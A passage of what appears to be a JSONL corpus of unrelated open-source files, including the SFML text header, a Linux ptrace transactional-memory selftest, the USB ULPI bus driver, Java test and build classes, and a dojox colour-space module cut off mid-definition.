/// from its index in the string. The returned position is\n /// in global coordinates (translation, rotation, scale and\n /// origin are applied).\n /// If \\a index is out of range, the position of the end of\n /// the string is returned.\n ///\n /// \\param index Index of the character\n ///\n /// \\return Position of the character\n ///\n ////////////////////////////////////////////////////////////\n Vector2f findCharacterPos(std::size_t index) const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the local bounding rectangle of the entity\n ///\n /// The returned rectangle is in local coordinates, which means\n /// that it ignores the transformations (translation, rotation,\n /// scale, ...) that are applied to the entity.\n /// In other words, this function returns the bounds of the\n /// entity in the entity's coordinate system.\n ///\n /// \\return Local bounding rectangle of the entity\n ///\n ////////////////////////////////////////////////////////////\n FloatRect getLocalBounds() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the global bounding rectangle of the entity\n ///\n /// The returned rectangle is in global coordinates, which means\n /// that it takes into account the transformations (translation,\n /// rotation, scale, ...) that are applied to the entity.\n /// In other words, this function returns the bounds of the\n /// text in the global 2D world's coordinate system.\n ///\n /// \\return Global bounding rectangle of the entity\n ///\n ////////////////////////////////////////////////////////////\n FloatRect getGlobalBounds() const;\n\nprivate:\n\n ////////////////////////////////////////////////////////////\n /// \\brief Draw the text to a render target\n ///\n /// \\param target Render target to draw to\n /// \\param states Current render states\n ///\n ////////////////////////////////////////////////////////////\n virtual void draw(RenderTarget& target, RenderStates states) const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Make sure the text's geometry is updated\n ///\n /// All the attributes related to rendering are cached, such\n /// that the geometry is only updated when necessary.\n ///\n ////////////////////////////////////////////////////////////\n void ensureGeometryUpdate() const;\n\n ////////////////////////////////////////////////////////////\n // Member data\n ////////////////////////////////////////////////////////////\n String m_string; //!< String to display\n const Font* m_font; //!< Font used to display the string\n unsigned int m_characterSize; //!< Base size of characters, in pixels\n float m_letterSpacingFactor; //!< Spacing factor between letters\n float m_lineSpacingFactor; //!< Spacing factor between lines\n Uint32 m_style; //!< Text style (see Style enum)\n Color m_fillColor; //!< Text fill color\n Color m_outlineColor; //!< Text outline color\n float m_outlineThickness; //!< Thickness of the text's outline\n mutable VertexArray m_vertices; //!< Vertex array containing the fill geometry\n mutable VertexArray m_outlineVertices; //!< Vertex array containing the outline geometry\n mutable FloatRect m_bounds; //!< Bounding rectangle of the text (in local coordinates)\n mutable bool m_geometryNeedUpdate; //!< Does the geometry need to be recomputed?\n mutable Uint64 m_fontTextureId; //!< The font texture id\n};\n\n} // namespace sf\n\n\n#endif // SFML_TEXT_HPP\n\n\n////////////////////////////////////////////////////////////\n/// \\class sf::Text\n/// \\ingroup graphics\n///\n/// sf::Text is a drawable class that allows to easily display\n/// some text with custom style and color on a render target.\n///\n/// It inherits all the functions from sf::Transformable:\n/// position, rotation, scale, origin. It also adds text-specific\n/// properties such as the font to use, the character size,\n/// the font style (bold, italic, underlined and strike through), the\n/// text color, the outline thickness, the outline color, the character\n/// spacing, the line spacing and the text to display of course.\n/// It also provides convenience functions to calculate the\n/// graphical size of the text, or to get the global position\n/// of a given character.\n///\n/// sf::Text works in combination with the sf::Font class, which\n/// loads and provides the glyphs (visual characters) of a given font.\n///\n/// The separation of sf::Font and sf::Text allows more flexibility\n/// and better performances: indeed a sf::Font is a heavy resource,\n/// and any operation on it is slow (often too slow for real-time\n/// applications). On the other side, a sf::Text is a lightweight\n/// object which can combine the glyphs data and metrics of a sf::Font\n/// to display any text on a render target.\n///\n/// It is important to note that the sf::Text instance doesn't\n/// copy the font that it uses, it only keeps a reference to it.\n/// Thus, a sf::Font must not be destructed while it is\n/// used by a sf::Text (i.e. never write a function that\n/// uses a local sf::Font instance for creating a text).\n///\n/// See also the note on coordinates and undistorted rendering in sf::Transformable.\n///\n/// Usage example:\n/// \\code\n/// // Declare and load a font\n/// sf::Font font;\n/// font.loadFromFile(\"arial.ttf\");\n///\n/// // Create a text\n/// sf::Text text(\"hello\", font);\n/// text.setCharacterSize(30);\n/// text.setStyle(sf::Text::Bold);\n/// text.setFillColor(sf::Color::Red);\n///\n/// // Draw it\n/// window.draw(text);\n/// \\endcode\n///\n/// \\see sf::Font, sf::Transformable\n///\n////////////////////////////////////////////////////////////\n"} +{"text": "Format: http://dep.debian.net/deps/dep5\nUpstream-Contact: Volker Theile \nSource: http://www.openmediavault.org\n\nFiles: *\nCopyright: 2009-2020 Volker Theile \nLicense: GPL-3\n"} +{"text": "\n * @copyright 2017 XOOPS Project (https://xoops.org)\n * @license GNU GPL 2 or later (http://www.gnu.org/licenses/gpl-2.0.html)\n * @link https://xoops.org\n */\nclass Assert extends BaseAssertion\n{\n\n}\n"} +{"text": "/*\n * Ptrace test for VMX/VSX registers in the TM context\n *\n * Copyright (C) 2015 Anshuman Khandual, IBM Corporation.\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n */\n#include \"ptrace.h\"\n#include \"tm.h\"\n#include \"ptrace-vsx.h\"\n\nint shm_id;\nunsigned long *cptr, *pptr;\n\nunsigned long fp_load[VEC_MAX];\nunsigned long fp_store[VEC_MAX];\nunsigned long fp_load_ckpt[VEC_MAX];\nunsigned long fp_load_ckpt_new[VEC_MAX];\n\n__attribute__((used)) void load_vsx(void)\n{\n\tloadvsx(fp_load, 0);\n}\n\n__attribute__((used)) void load_vsx_ckpt(void)\n{\n\tloadvsx(fp_load_ckpt, 0);\n}\n\nvoid tm_vsx(void)\n{\n\tunsigned long result, texasr;\n\tint ret;\n\n\tcptr = (unsigned long *)shmat(shm_id, NULL, 0);\n\ntrans:\n\tcptr[1] = 0;\n\tasm __volatile__(\n\t\t\"bl load_vsx_ckpt;\"\n\n\t\t\"1: ;\"\n\t\t\"tbegin.;\"\n\t\t\"beq 2f;\"\n\n\t\t\"bl load_vsx;\"\n\t\t\"tsuspend.;\"\n\t\t\"li 7, 1;\"\n\t\t\"stw 7, 0(%[cptr1]);\"\n\t\t\"tresume.;\"\n\t\t\"b .;\"\n\n\t\t\"tend.;\"\n\t\t\"li 0, 0;\"\n\t\t\"ori %[res], 0, 0;\"\n\t\t\"b 3f;\"\n\n\t\t\"2: ;\"\n\t\t\"li 0, 1;\"\n\t\t\"ori %[res], 0, 0;\"\n\t\t\"mfspr %[texasr], %[sprn_texasr];\"\n\n\t\t\"3: ;\"\n\t\t: [res] \"=r\" (result), [texasr] \"=r\" (texasr)\n\t\t: [fp_load] \"r\" (fp_load), [fp_load_ckpt] \"r\" (fp_load_ckpt),\n\t\t[sprn_texasr] \"i\" (SPRN_TEXASR), [cptr1] \"r\" (&cptr[1])\n\t\t: \"memory\", \"r0\", \"r1\", \"r2\", \"r3\", \"r4\",\n\t\t\"r7\", \"r8\", \"r9\", \"r10\", \"r11\"\n\t\t);\n\n\tif (result) {\n\t\tif (!cptr[0])\n\t\t\tgoto trans;\n\n\t\tshmdt((void *)cptr);\n\t\tstorevsx(fp_store, 0);\n\t\tret = compare_vsx_vmx(fp_store, fp_load_ckpt_new);\n\t\tif (ret)\n\t\t\texit(1);\n\t\texit(0);\n\t}\n\tshmdt((void *)cptr);\n\texit(1);\n}\n\nint trace_tm_vsx(pid_t child)\n{\n\tunsigned long vsx[VSX_MAX];\n\tunsigned long vmx[VMX_MAX + 2][2];\n\n\tFAIL_IF(start_trace(child));\n\tFAIL_IF(show_vsx(child, vsx));\n\tFAIL_IF(validate_vsx(vsx, fp_load));\n\tFAIL_IF(show_vmx(child, vmx));\n\tFAIL_IF(validate_vmx(vmx, fp_load));\n\tFAIL_IF(show_vsx_ckpt(child, vsx));\n\tFAIL_IF(validate_vsx(vsx, fp_load_ckpt));\n\tFAIL_IF(show_vmx_ckpt(child, vmx));\n\tFAIL_IF(validate_vmx(vmx, fp_load_ckpt));\n\tmemset(vsx, 0, sizeof(vsx));\n\tmemset(vmx, 0, sizeof(vmx));\n\n\tload_vsx_vmx(fp_load_ckpt_new, vsx, vmx);\n\n\tFAIL_IF(write_vsx_ckpt(child, vsx));\n\tFAIL_IF(write_vmx_ckpt(child, vmx));\n\tpptr[0] = 1;\n\tFAIL_IF(stop_trace(child));\n\treturn TEST_PASS;\n}\n\nint ptrace_tm_vsx(void)\n{\n\tpid_t pid;\n\tint ret, status, i;\n\n\tSKIP_IF(!have_htm());\n\tshm_id = shmget(IPC_PRIVATE, sizeof(int) * 2, 0777|IPC_CREAT);\n\n\tfor (i = 0; i < 128; i++) {\n\t\tfp_load[i] = 1 + rand();\n\t\tfp_load_ckpt[i] = 1 + 2 * rand();\n\t\tfp_load_ckpt_new[i] = 1 + 3 * rand();\n\t}\n\n\tpid = fork();\n\tif (pid < 0) {\n\t\tperror(\"fork() failed\");\n\t\treturn TEST_FAIL;\n\t}\n\n\tif (pid == 0)\n\t\ttm_vsx();\n\n\tif (pid) {\n\t\tpptr = (unsigned long *)shmat(shm_id, NULL, 0);\n\t\twhile (!pptr[1])\n\t\t\tasm volatile(\"\" : : : \"memory\");\n\n\t\tret = trace_tm_vsx(pid);\n\t\tif (ret) {\n\t\t\tkill(pid, SIGKILL);\n\t\t\tshmdt((void *)pptr);\n\t\t\tshmctl(shm_id, IPC_RMID, NULL);\n\t\t\treturn TEST_FAIL;\n\t\t}\n\n\t\tshmdt((void *)pptr);\n\t\tret = wait(&status);\n\t\tshmctl(shm_id, IPC_RMID, NULL);\n\t\tif (ret != pid) {\n\t\t\tprintf(\"Child's exit status not captured\\n\");\n\t\t\treturn TEST_FAIL;\n\t\t}\n\n\t\treturn (WIFEXITED(status) && WEXITSTATUS(status)) ? TEST_FAIL :\n\t\t\tTEST_PASS;\n\t}\n\treturn TEST_PASS;\n}\n\nint main(int argc, char *argv[])\n{\n\treturn test_harness(ptrace_tm_vsx, \"ptrace_tm_vsx\");\n}\n"} +{"text": "while true; do echo A; break; echo B; done\necho OK:$?\n"} +{"text": "// SPDX-License-Identifier: GPL-2.0\n/**\n * ulpi.c - USB ULPI PHY bus\n *\n * Copyright (C) 2015 Intel Corporation\n *\n * Author: Heikki Krogerus \n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n/* -------------------------------------------------------------------------- */\n\nint ulpi_read(struct ulpi *ulpi, u8 addr)\n{\n\treturn ulpi->ops->read(ulpi->dev.parent, addr);\n}\nEXPORT_SYMBOL_GPL(ulpi_read);\n\nint ulpi_write(struct ulpi *ulpi, u8 addr, u8 val)\n{\n\treturn ulpi->ops->write(ulpi->dev.parent, addr, val);\n}\nEXPORT_SYMBOL_GPL(ulpi_write);\n\n/* -------------------------------------------------------------------------- */\n\nstatic int ulpi_match(struct device *dev, struct device_driver *driver)\n{\n\tstruct ulpi_driver *drv = to_ulpi_driver(driver);\n\tstruct ulpi *ulpi = to_ulpi_dev(dev);\n\tconst struct ulpi_device_id *id;\n\n\t/* Some ULPI devices don't have a vendor id so rely on OF match */\n\tif (ulpi->id.vendor == 0)\n\t\treturn of_driver_match_device(dev, driver);\n\n\tfor (id = drv->id_table; id->vendor; id++)\n\t\tif (id->vendor == ulpi->id.vendor &&\n\t\t id->product == ulpi->id.product)\n\t\t\treturn 1;\n\n\treturn 0;\n}\n\nstatic int ulpi_uevent(struct device *dev, struct kobj_uevent_env *env)\n{\n\tstruct ulpi *ulpi = to_ulpi_dev(dev);\n\tint ret;\n\n\tret = of_device_uevent_modalias(dev, env);\n\tif (ret != -ENODEV)\n\t\treturn ret;\n\n\tif (add_uevent_var(env, \"MODALIAS=ulpi:v%04xp%04x\",\n\t\t\t ulpi->id.vendor, ulpi->id.product))\n\t\treturn -ENOMEM;\n\treturn 0;\n}\n\nstatic int ulpi_probe(struct device *dev)\n{\n\tstruct ulpi_driver *drv = to_ulpi_driver(dev->driver);\n\tint ret;\n\n\tret = of_clk_set_defaults(dev->of_node, false);\n\tif (ret < 0)\n\t\treturn ret;\n\n\treturn drv->probe(to_ulpi_dev(dev));\n}\n\nstatic int ulpi_remove(struct device *dev)\n{\n\tstruct ulpi_driver *drv = to_ulpi_driver(dev->driver);\n\n\tif (drv->remove)\n\t\tdrv->remove(to_ulpi_dev(dev));\n\n\treturn 0;\n}\n\nstatic struct bus_type ulpi_bus = {\n\t.name = \"ulpi\",\n\t.match = ulpi_match,\n\t.uevent = ulpi_uevent,\n\t.probe = ulpi_probe,\n\t.remove = ulpi_remove,\n};\n\n/* -------------------------------------------------------------------------- */\n\nstatic ssize_t modalias_show(struct device *dev, struct device_attribute *attr,\n\t\t\t char *buf)\n{\n\tint len;\n\tstruct ulpi *ulpi = to_ulpi_dev(dev);\n\n\tlen = of_device_modalias(dev, buf, PAGE_SIZE);\n\tif (len != -ENODEV)\n\t\treturn len;\n\n\treturn sprintf(buf, \"ulpi:v%04xp%04x\\n\",\n\t\t ulpi->id.vendor, ulpi->id.product);\n}\nstatic DEVICE_ATTR_RO(modalias);\n\nstatic struct attribute *ulpi_dev_attrs[] = {\n\t&dev_attr_modalias.attr,\n\tNULL\n};\n\nstatic struct attribute_group ulpi_dev_attr_group = {\n\t.attrs = ulpi_dev_attrs,\n};\n\nstatic const struct attribute_group *ulpi_dev_attr_groups[] = {\n\t&ulpi_dev_attr_group,\n\tNULL\n};\n\nstatic void ulpi_dev_release(struct device *dev)\n{\n\tkfree(to_ulpi_dev(dev));\n}\n\nstatic const struct device_type ulpi_dev_type = {\n\t.name = \"ulpi_device\",\n\t.groups = ulpi_dev_attr_groups,\n\t.release = ulpi_dev_release,\n};\n\n/* -------------------------------------------------------------------------- */\n\n/**\n * ulpi_register_driver - register a driver with the ULPI bus\n * @drv: driver being registered\n *\n * Registers a driver with the ULPI bus.\n */\nint __ulpi_register_driver(struct ulpi_driver *drv, struct module *module)\n{\n\tif (!drv->probe)\n\t\treturn -EINVAL;\n\n\tdrv->driver.owner = module;\n\tdrv->driver.bus = &ulpi_bus;\n\n\treturn driver_register(&drv->driver);\n}\nEXPORT_SYMBOL_GPL(__ulpi_register_driver);\n\n/**\n * ulpi_unregister_driver - unregister a driver with the ULPI bus\n * @drv: driver to unregister\n *\n * Unregisters a driver with the ULPI bus.\n */\nvoid ulpi_unregister_driver(struct ulpi_driver *drv)\n{\n\tdriver_unregister(&drv->driver);\n}\nEXPORT_SYMBOL_GPL(ulpi_unregister_driver);\n\n/* -------------------------------------------------------------------------- */\n\nstatic int ulpi_of_register(struct ulpi *ulpi)\n{\n\tstruct device_node *np = NULL, *child;\n\tstruct device *parent;\n\n\t/* Find a ulpi bus underneath the parent or the grandparent */\n\tparent = ulpi->dev.parent;\n\tif (parent->of_node)\n\t\tnp = of_get_child_by_name(parent->of_node, \"ulpi\");\n\telse if (parent->parent && parent->parent->of_node)\n\t\tnp = of_get_child_by_name(parent->parent->of_node, \"ulpi\");\n\tif (!np)\n\t\treturn 0;\n\n\tchild = of_get_next_available_child(np, NULL);\n\tof_node_put(np);\n\tif (!child)\n\t\treturn -EINVAL;\n\n\tulpi->dev.of_node = child;\n\n\treturn 0;\n}\n\nstatic int ulpi_read_id(struct ulpi *ulpi)\n{\n\tint ret;\n\n\t/* Test the interface */\n\tret = ulpi_write(ulpi, ULPI_SCRATCH, 0xaa);\n\tif (ret < 0)\n\t\tgoto err;\n\n\tret = ulpi_read(ulpi, ULPI_SCRATCH);\n\tif (ret < 0)\n\t\treturn ret;\n\n\tif (ret != 0xaa)\n\t\tgoto err;\n\n\tulpi->id.vendor = ulpi_read(ulpi, ULPI_VENDOR_ID_LOW);\n\tulpi->id.vendor |= ulpi_read(ulpi, ULPI_VENDOR_ID_HIGH) << 8;\n\n\tulpi->id.product = ulpi_read(ulpi, ULPI_PRODUCT_ID_LOW);\n\tulpi->id.product |= ulpi_read(ulpi, ULPI_PRODUCT_ID_HIGH) << 8;\n\n\t/* Some ULPI devices don't have a vendor id so rely on OF match */\n\tif (ulpi->id.vendor == 0)\n\t\tgoto err;\n\n\trequest_module(\"ulpi:v%04xp%04x\", ulpi->id.vendor, ulpi->id.product);\n\treturn 0;\nerr:\n\tof_device_request_module(&ulpi->dev);\n\treturn 0;\n}\n\nstatic int ulpi_register(struct device *dev, struct ulpi *ulpi)\n{\n\tint ret;\n\n\tulpi->dev.parent = dev; /* needed early for ops */\n\tulpi->dev.bus = &ulpi_bus;\n\tulpi->dev.type = &ulpi_dev_type;\n\tdev_set_name(&ulpi->dev, \"%s.ulpi\", dev_name(dev));\n\n\tACPI_COMPANION_SET(&ulpi->dev, ACPI_COMPANION(dev));\n\n\tret = ulpi_of_register(ulpi);\n\tif (ret)\n\t\treturn ret;\n\n\tret = ulpi_read_id(ulpi);\n\tif (ret)\n\t\treturn ret;\n\n\tret = device_register(&ulpi->dev);\n\tif (ret)\n\t\treturn ret;\n\n\tdev_dbg(&ulpi->dev, \"registered ULPI PHY: vendor %04x, product %04x\\n\",\n\t\tulpi->id.vendor, ulpi->id.product);\n\n\treturn 0;\n}\n\n/**\n * ulpi_register_interface - instantiate new ULPI device\n * @dev: USB controller's device interface\n * @ops: ULPI register access\n *\n * Allocates and registers a ULPI device and an interface for it. Called from\n * the USB controller that provides the ULPI interface.\n */\nstruct ulpi *ulpi_register_interface(struct device *dev,\n\t\t\t\t const struct ulpi_ops *ops)\n{\n\tstruct ulpi *ulpi;\n\tint ret;\n\n\tulpi = kzalloc(sizeof(*ulpi), GFP_KERNEL);\n\tif (!ulpi)\n\t\treturn ERR_PTR(-ENOMEM);\n\n\tulpi->ops = ops;\n\n\tret = ulpi_register(dev, ulpi);\n\tif (ret) {\n\t\tkfree(ulpi);\n\t\treturn ERR_PTR(ret);\n\t}\n\n\treturn ulpi;\n}\nEXPORT_SYMBOL_GPL(ulpi_register_interface);\n\n/**\n * ulpi_unregister_interface - unregister ULPI interface\n * @intrf: struct ulpi_interface\n *\n * Unregisters a ULPI device and it's interface that was created with\n * ulpi_create_interface().\n */\nvoid ulpi_unregister_interface(struct ulpi *ulpi)\n{\n\tof_node_put(ulpi->dev.of_node);\n\tdevice_unregister(&ulpi->dev);\n}\nEXPORT_SYMBOL_GPL(ulpi_unregister_interface);\n\n/* -------------------------------------------------------------------------- */\n\nstatic int __init ulpi_init(void)\n{\n\treturn bus_register(&ulpi_bus);\n}\nsubsys_initcall(ulpi_init);\n\nstatic void __exit ulpi_exit(void)\n{\n\tbus_unregister(&ulpi_bus);\n}\nmodule_exit(ulpi_exit);\n\nMODULE_AUTHOR(\"Intel Corporation\");\nMODULE_LICENSE(\"GPL v2\");\nMODULE_DESCRIPTION(\"USB ULPI PHY bus\");\n"} +{"text": "package nl.jqno.equalsverifier.integration.extended_contract;\n\nimport static nl.jqno.equalsverifier.testhelpers.Util.defaultHashCode;\n\nimport nl.jqno.equalsverifier.EqualsVerifier;\nimport nl.jqno.equalsverifier.Warning;\nimport nl.jqno.equalsverifier.testhelpers.ExpectedExceptionTestBase;\nimport org.junit.Test;\n\npublic class SignatureTest extends ExpectedExceptionTestBase {\n private static final String OVERLOADED = \"Overloaded\";\n private static final String SIGNATURE_SHOULD_BE = \"Signature should be\";\n private static final String SIGNATURE = \"public boolean equals(Object obj)\";\n\n @Test\n public void fail_whenEqualsIsOverloadedWithTypeInsteadOfObject() {\n expectOverloadFailure(\n \"Parameter should be an Object, not \"\n + OverloadedWithOwnType.class.getSimpleName());\n EqualsVerifier.forClass(OverloadedWithOwnType.class).verify();\n }\n\n @Test\n public void fail_whenEqualsIsOverloadedWithTwoParameters() {\n expectOverloadFailure(\"Too many parameters\");\n EqualsVerifier.forClass(OverloadedWithTwoParameters.class).verify();\n }\n\n @Test\n public void fail_whenEqualsIsOverloadedWithNoParameter() {\n expectOverloadFailure(\"No parameter\");\n EqualsVerifier.forClass(OverloadedWithNoParameter.class).verify();\n }\n\n @Test\n public void fail_whenEqualsIsOverloadedWithUnrelatedParameter() {\n expectOverloadFailure(\"Parameter should be an Object\");\n EqualsVerifier.forClass(OverloadedWithUnrelatedParameter.class).verify();\n }\n\n @Test\n public void fail_whenEqualsIsProperlyOverriddenButAlsoOverloaded() {\n expectOverloadFailure(\"More than one equals method found\");\n EqualsVerifier.forClass(OverloadedAndOverridden.class)\n .suppress(Warning.INHERITED_DIRECTLY_FROM_OBJECT)\n .verify();\n }\n\n @Test\n public void\n succeed_whenEqualsIsNeitherOverriddenOrOverloaded_givenInheritedDirectlyWarningIsSuppressed() {\n EqualsVerifier.forClass(NoEqualsMethod.class)\n .suppress(Warning.INHERITED_DIRECTLY_FROM_OBJECT, Warning.ALL_FIELDS_SHOULD_BE_USED)\n .verify();\n }\n\n private void expectOverloadFailure(String extraMessage) {\n expectFailure(OVERLOADED, SIGNATURE_SHOULD_BE, SIGNATURE, extraMessage);\n }\n\n static final class OverloadedWithOwnType {\n private final int i;\n\n OverloadedWithOwnType(int i) {\n this.i = i;\n }\n\n public boolean equals(OverloadedWithOwnType obj) {\n if (obj == null) {\n return false;\n }\n return i == obj.i;\n }\n\n @Override\n public int hashCode() {\n return defaultHashCode(this);\n }\n }\n\n static final class OverloadedWithTwoParameters {\n @SuppressWarnings(\"unused\")\n private final int i;\n\n OverloadedWithTwoParameters(int i) {\n this.i = i;\n }\n\n public boolean equals(Object red, Object blue) {\n return red == null ? blue == null : red.equals(blue);\n }\n\n @Override\n public int hashCode() {\n return defaultHashCode(this);\n }\n }\n\n static final class OverloadedWithNoParameter {\n @SuppressWarnings(\"unused\")\n private final int i;\n\n OverloadedWithNoParameter(int i) {\n this.i = i;\n }\n\n public boolean equals() {\n return false;\n }\n\n @Override\n public int hashCode() {\n return defaultHashCode(this);\n }\n }\n\n static final class OverloadedWithUnrelatedParameter {\n private final int i;\n\n OverloadedWithUnrelatedParameter(int i) {\n this.i = i;\n }\n\n public boolean equals(int obj) {\n return this.i == obj;\n }\n\n @Override\n public int hashCode() {\n return defaultHashCode(this);\n }\n }\n\n static final class OverloadedAndOverridden {\n private final int i;\n\n OverloadedAndOverridden(int i) {\n this.i = i;\n }\n\n @Override\n public boolean equals(Object obj) {\n if (!(obj instanceof OverloadedAndOverridden)) {\n return false;\n }\n return i == ((OverloadedAndOverridden) obj).i;\n }\n\n public boolean equals(OverloadedAndOverridden obj) {\n if (obj == null) {\n return false;\n }\n return i == obj.i;\n }\n\n @Override\n public int hashCode() {\n return defaultHashCode(this);\n }\n }\n\n static final class NoEqualsMethod {\n @SuppressWarnings(\"unused\")\n private final int i;\n\n public NoEqualsMethod(int i) {\n this.i = i;\n }\n\n @Override\n public int hashCode() {\n return defaultHashCode(this);\n }\n }\n}\n"} +{"text": "/*\n * Bach - Java Shell Builder\n * Copyright (C) 2020 Christian Stein\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage de.sormuras.bach.tool;\n\nimport de.sormuras.bach.Call;\nimport de.sormuras.bach.internal.Modules;\nimport java.nio.file.Path;\nimport java.util.List;\nimport java.util.Optional;\nimport java.util.spi.ToolProvider;\n\n/** A JUnit Platform launcher configuration. */\npublic final class JUnit implements Call {\n\n private final String module;\n private final List modulePaths;\n private final List arguments;\n\n public JUnit(String module, List modulePaths, List arguments) {\n this.module = module;\n this.modulePaths = modulePaths;\n this.arguments = arguments;\n }\n\n @Override\n public String name() {\n return \"junit\";\n }\n\n @Override\n public List arguments() {\n return arguments;\n }\n\n @Override\n public Optional findProvider() {\n return Modules.findTools(module, modulePaths).stream()\n .filter(provider -> provider.name().equals(name()))\n .findAny();\n }\n\n @Override\n public String toDescriptiveLine() {\n var value = findValue(\"--select-module\");\n if (value.isEmpty()) return Call.super.toDescriptiveLine();\n return \"Launch JUnit Platform for module \" + value.get();\n }\n\n @Override\n public JUnit with(List arguments) {\n return new JUnit(module, modulePaths, arguments);\n }\n}\n"} +{"text": "\n\n\n \n \n cashondelivery, enableGiftMessages\n Create gift message for items\n catalogProductSimple::default, catalogProductSimple::default\n default\n customer_US_login\n login\n Flat Rate\n Fixed\n cashondelivery\n Yes\n Yes\n default,default\n \n \n \n \n\n"} +{"text": "\n\n\n \n Tencent QQ\n \n \n \n \n\n\n\t
    \n\n\n\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\n"} +{"text": "//>>built\ndefine(\"dojox/color/Colorspace\", [\"dojo/_base/kernel\", \"../main\", \"dojo/_base/lang\", \"./_base\", \"dojox/math/matrix\"], \n\tfunction(dojo, dojox, dlang, dxc, dxm){\n\ndojox.color.Colorspace=new (function(){\n\tvar self=this;\n\tvar wpMap={\n\t\t\"2\":{\n\t\t\t\"E\":\t{ x:1/3, y:1/3, t:5400 },\n\t\t\t\"D50\":\t{ x:0.34567, y:0.3585, t:5000 },\n\t\t\t\"D55\":\t{ x:0.33242, y:0.34743, t:5500 },\n\t\t\t\"D65\":\t{ x:0.31271, y:0.32902, t:6500 },\n\t\t\t\"D75\":\t{ x:0.29902, y:0.31485, t:7500 },\n\t\t\t\"A\":\t{ x:0.44757, y:0.40745, t:2856 },\n\t\t\t\"B\":\t{ x:0.34842, y:0.35161, t:4874 },\n\t\t\t\"C\":\t{ x:0.31006, y:0.31616, t:6774 },\n\t\t\t\"9300\":\t{ x:0.2848, y:0.2932, t:9300 },\n\t\t\t\"F2\":\t{ x:0.37207, y:0.37512, t:4200 },\n\t\t\t\"F7\":\t{ x:0.31285, y:0.32918, t:6500 },\n\t\t\t\"F11\":\t{ x:0.38054, y:0.37691, t:4000 }\n\t\t},\n\t\t\"10\":{\n\t\t\t\"E\":\t{ x:1/3, y:1/3, t:5400 },\n\t\t\t\"D50\":\t{ x:0.34773, y:0.35952, t:5000 },\n\t\t\t\"D55\":\t{ x:0.33411, y:0.34877, t:5500 },\n\t\t\t\"D65\":\t{ x:0.31382, y:0.331, t:6500 },\n\t\t\t\"D75\":\t{ x:0.29968, y:0.3174, t:7500 },\n\t\t\t\"A\":\t{ x:0.45117, y:0.40594, t:2856 },\n\t\t\t\"B\":\t{ x:0.3498, y:0.3527, t:4874 },\n\t\t\t\"C\":\t{ x:0.31039, y:0.31905, t:6774 },\n\t\t\t\"F2\":\t{ x:0.37928, y:0.36723, t:4200 },\n\t\t\t\"F7\":\t{ x:0.31565, y:0.32951, t:6500 },\n\t\t\t\"F11\":\t{ x:0.38543, y:0.3711, t:4000 }\n\t\t}\n\t};\n\n\tvar profiles={\n\t\t\"Adobe RGB 98\":[2.2, \"D65\", 0.64, 0.33, 0.297361, 0.21, 0.71, 0.627355, 0.15, 0.06, 0.075285],\n\t\t\"Apple RGB\":[1.8, \"D65\", 0.625, 0.34, 0.244634, 0.28, 0.595, 0.672034, 0.155, 0.07, 0.083332],\n\t\t\"Best RGB\":[2.2, \"D50\", 0.7347, 0.2653, 0.228457, 0.215, 0.775, 0.737352, 0.13, 0.035, 0.034191],\n\t\t\"Beta RGB\":[2.2, \"D50\", 0.6888, 0.3112, 0.303273, 0.1986, 0.7551, 0.663786, 0.1265, 0.0352, 0.032941],\n\t\t\"Bruce RGB\":[2.2, \"D65\", 0.64, 0.33, 0.240995, 0.28, 0.65, 0.683554, 0.15, 0.06, 0.075452],\n\t\t\"CIE RGB\":[2.2, \"E\", 0.735, 0.265, 0.176204, 0.274, 0.717, 0.812985, 0.167, 0.009, 0.010811],\n\t\t\"ColorMatch RGB\":[1.8, \"D50\", 0.63, 0.34, 0.274884, 0.295, 0.605, 0.658132, 0.15, 0.075, 0.066985],\n\t\t\"DON RGB 4\":[2.2, \"D50\", 0.696, 0.3, 0.27835, 0.215, 0.765, 0.68797, 0.13, 0.035, 0.03368],\n\t\t\"ECI RGB\":[1.8, \"D50\", 0.67, 0.33, 0.32025, 0.21, 0.71, 0.602071, 0.14, 0.08, 0.077679],\n\t\t\"EktaSpace PS5\":[2.2, \"D50\", 0.695, 0.305, 0.260629, 0.26, 0.7, 0.734946, 0.11, 0.005, 0.004425],\n\t\t\"NTSC RGB\":[2.2, \"C\", 0.67, 0.33, 0.298839, 0.21, 0.71, 0.586811, 0.14, 0.08, 0.11435],\n\t\t\"PAL/SECAM RGB\":[2.2, \"D65\", 0.64, 0.33, 0.222021, 0.29, 0.6, 0.706645, 0.15, 0.06, 0.071334],\n\t\t\"Pro Photo RGB\":[1.8, \"D50\", 0.7347, 0.2653, 0.28804, 0.1596, 0.8404, 0.711874, 0.0366, 0.0001, 0.000086],\n\t\t\"SMPTE/C RGB\":[2.2, \"D65\", 0.63, 0.34, 0.212395, 0.31, 0.595, 0.701049, 0.155, 0.07, 0.086556],\n\t\t\"sRGB\":[2.2, \"D65\", 0.64, 0.33, 0.212656, 0.3, 0.6, 0.715158, 0.15, 0.06, 0.072186],\n\t\t\"Wide Gamut RGB\":[2.2, \"D50\", 0.735, 0.265, 0.258187, 0.115, 0.826, 0.724938, 0.157, 0.018, 0.016875]\n\t};\n\n\tvar adaptors={\n\t\t\"XYZ scaling\":{\n\t\t\tma: [[1,0,0], [0,1,0], [0,0,1]],\n\t\t\tmai: [[1,0,0], [0,1,0], [0,0,1]]\n\t\t},\n\t\t\"Bradford\":{\n\t\t\tma: [[0.8951, -0.7502, 0.0389], [0.2664, 1.7135, -0.0685], [-0.1614, 0.0367, 1.0296]],\n\t\t\tmai: [[0.986993, 0.432305, -0.008529], [-0.147054, 0.51836, 0.040043], [0.159963, 0.049291, 0.968487]]\n\t\t},\n\t\t\"Von Kries\":{\n\t\t\tma: [[0.40024, -0.2263, 0], [0.7076, 1.16532, 0], [-0.08081, 0.0457, 0.91822]],\n\t\t\tmai: [[1.859936, 0.361191, 